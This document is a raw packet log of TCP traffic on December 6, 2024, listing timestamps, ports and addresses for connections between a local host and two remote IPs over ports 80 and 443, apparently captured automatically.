Dec 6, 2024 22:08:58.205970049 CET	443	49814	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:58.206022978 CET	49814	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:58.206046104 CET	443	49814	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:58.206202030 CET	49814	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:58.206217051 CET	443	49814	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:58.206224918 CET	49814	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:58.206346989 CET	443	49814	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:58.206373930 CET	443	49814	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:58.206408024 CET	49814	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:58.206590891 CET	49818	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:58.206626892 CET	443	49818	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:58.206682920 CET	49818	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:58.206806898 CET	49818	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:58.206820011 CET	443	49818	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:58.207969904 CET	49819	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:58.207978964 CET	443	49819	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:58.208177090 CET	49819	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:58.208177090 CET	49819	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:58.208194971 CET	443	49819	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:58.233772993 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.233844995 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.234006882 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.234050989 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.234471083 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.234513998 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.234889030 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.234930992 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.235353947 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.235364914 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.235399961 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.236213923 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.236258030 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.236618042 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.236659050 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.237104893 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.237114906 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.237143040 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.237159967 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.237962961 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.238007069 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.238385916 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.238425970 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.238853931 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.238864899 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.238898039 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.239711046 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.239752054 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.240163088 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.240175962 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.240209103 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.241035938 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.241077900 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.241482973 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.241494894 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.241518974 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.241534948 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.242371082 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.242382050 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.242418051 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.243186951 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.243228912 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.271666050 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.391614914 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.708911896 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.709101915 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.709187984 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.709197044 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.709197044 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.709254026 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.709604979 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.709650993 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.709763050 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.709806919 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.710201025 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.710247040 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.710649014 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.710694075 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.711020947 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.711066008 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.711150885 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.711190939 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.711626053 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.711677074 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.712102890 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.712120056 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.712155104 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.712167978 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.712918997 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.712970972 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.713381052 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.713428974 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.713845015 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.713857889 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.713896990 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.714751005 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.714802980 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.715126038 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.715173006 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.715595961 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.715612888 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.715645075 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.715656996 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.716465950 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.716478109 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.716514111 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.717339039 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.717350006 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.717391968 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.718223095 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.718234062 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.718276024 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.719074965 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.719086885 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.719124079 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.719955921 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.719968081 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.720004082 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.720896959 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.720909119 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.720946074 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.721698999 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.721712112 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.721740961 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.721761942 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.722651958 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.722664118 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.722701073 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.723550081 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.723562002 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.723609924 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.724334002 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.724344969 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.724390030 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.725260973 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.725271940 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.725317955 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.726182938 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.726228952 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.726552010 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.726563931 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.726599932 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.727499962 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.727514982 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.727554083 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.727566004 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.728454113 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.728476048 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.728501081 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.728514910 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.729432106 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.729449034 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.729481936 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.729496002 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.730405092 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.730417013 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.730427980 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.730464935 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.730478048 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.731398106 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.731410027 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.731452942 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.731477022 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.732208967 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.732219934 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.732256889 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.732270956 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.733135939 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.733153105 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.733191013 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.733206034 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.733958960 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.733972073 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.734014988 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.734844923 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.734857082 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.734898090 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.734921932 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.735702038 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.735713959 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.735754967 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.833770990 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.834018946 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.834125996 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.834126949 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:58.834439993 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:58.834487915 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:59.281893969 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:59.281939030 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:08:59.404191017 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:59.404284000 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:08:59.707865000 CET	443	49815	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:59.708514929 CET	49815	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:59.708533049 CET	443	49815	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:59.709091902 CET	49815	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:59.709095955 CET	443	49815	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:59.728897095 CET	443	49816	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:59.729654074 CET	49816	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:59.729701996 CET	443	49816	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:59.730266094 CET	49816	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:59.730277061 CET	443	49816	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:59.944447041 CET	443	49817	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:59.945421934 CET	49817	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:59.945436954 CET	443	49817	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:59.945593119 CET	443	49819	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:59.945863008 CET	49817	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:59.945868015 CET	443	49817	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:59.945892096 CET	49819	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:59.945898056 CET	443	49819	13.107.246.63	192.168.2.7
Dec 6, 2024 22:08:59.946400881 CET	49819	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:08:59.946404934 CET	443	49819	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:00.069842100 CET	443	49818	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:00.070529938 CET	49818	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:00.070584059 CET	443	49818	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:00.071062088 CET	49818	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:00.071070910 CET	443	49818	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:00.147380114 CET	443	49815	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:00.147399902 CET	443	49815	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:00.147629023 CET	49815	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:00.147650003 CET	443	49815	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:00.148160934 CET	49815	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:00.148175001 CET	443	49815	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:00.148184061 CET	49815	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:00.148305893 CET	443	49815	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:00.148334980 CET	443	49815	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:00.148377895 CET	49815	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:00.151575089 CET	49820	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:00.151618004 CET	443	49820	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:00.151736021 CET	49820	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:00.151962996 CET	49820	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:00.151978016 CET	443	49820	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:00.174796104 CET	443	49816	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:00.174860954 CET	443	49816	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:00.174932957 CET	49816	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:00.175168991 CET	49816	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:00.175194025 CET	443	49816	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:00.175210953 CET	49816	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:00.175218105 CET	443	49816	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:00.178311110 CET	49821	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:00.178342104 CET	443	49821	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:00.178426981 CET	49821	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:00.178594112 CET	49821	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:00.178607941 CET	443	49821	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:00.396752119 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:09:00.396817923 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:09:00.402328968 CET	443	49819	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:00.403475046 CET	443	49817	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:00.403537989 CET	443	49817	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:00.403595924 CET	49817	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:00.403600931 CET	443	49819	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:00.403639078 CET	49819	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:00.403748035 CET	49817	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:00.403758049 CET	443	49817	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:00.403769970 CET	49817	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:00.403769970 CET	49819	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:00.403770924 CET	49819	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:00.403778076 CET	443	49817	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:00.403785944 CET	443	49819	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:00.403794050 CET	443	49819	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:00.407126904 CET	49822	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:00.407155037 CET	443	49822	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:00.407182932 CET	49823	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:00.407211065 CET	443	49823	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:00.407238007 CET	49822	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:00.407269955 CET	49823	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:00.407355070 CET	49822	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:00.407361984 CET	443	49822	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:00.407416105 CET	49823	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:00.407430887 CET	443	49823	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:00.444525957 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:09:00.505053997 CET	443	49818	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:00.505119085 CET	443	49818	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:00.505256891 CET	49818	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:00.505558014 CET	49818	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:00.505584002 CET	443	49818	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:00.505599022 CET	49818	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:00.505604029 CET	443	49818	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:00.508934021 CET	49824	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:00.508979082 CET	443	49824	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:00.509072065 CET	49824	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:00.509247065 CET	49824	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:00.509264946 CET	443	49824	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:00.564373016 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:09:00.884352922 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:09:00.884419918 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:09:00.884536028 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:09:00.884574890 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:09:00.884932995 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:09:00.884977102 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:09:00.888063908 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:09:01.007756948 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:09:01.328512907 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:09:01.328670979 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:09:01.342037916 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:09:01.461849928 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:09:01.882798910 CET	443	49820	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:01.883511066 CET	49820	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:01.883532047 CET	443	49820	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:01.884006977 CET	49820	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:01.884011984 CET	443	49820	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:01.898753881 CET	443	49821	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:01.899169922 CET	49821	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:01.899182081 CET	443	49821	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:01.899549007 CET	49821	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:01.899554014 CET	443	49821	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:02.181679964 CET	443	49822	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:02.181819916 CET	443	49823	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:02.182409048 CET	49822	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:02.182411909 CET	49823	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:02.182425022 CET	443	49823	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:02.182456017 CET	443	49822	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:02.182904959 CET	49823	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:02.182910919 CET	443	49823	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:02.182936907 CET	49822	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:02.182941914 CET	443	49822	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:02.225485086 CET	443	49824	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:02.226536036 CET	49824	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:02.226576090 CET	443	49824	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:02.227217913 CET	49824	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:02.227221966 CET	443	49824	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:02.304145098 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:09:02.304255009 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:09:02.318202019 CET	443	49820	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:02.321533918 CET	443	49820	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:02.321645021 CET	49820	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:02.325464010 CET	49820	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:02.325493097 CET	443	49820	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:02.325508118 CET	49820	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:02.325516939 CET	443	49820	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:02.332596064 CET	49825	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:02.332653046 CET	443	49825	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:02.332763910 CET	49825	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:02.333049059 CET	49825	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:02.333064079 CET	443	49825	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:02.333324909 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:09:02.334464073 CET	443	49821	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:02.337384939 CET	443	49821	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:02.337443113 CET	49821	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:02.337492943 CET	49821	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:02.337507010 CET	443	49821	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:02.337517023 CET	49821	443	192.168.2.7	13.107.246.63
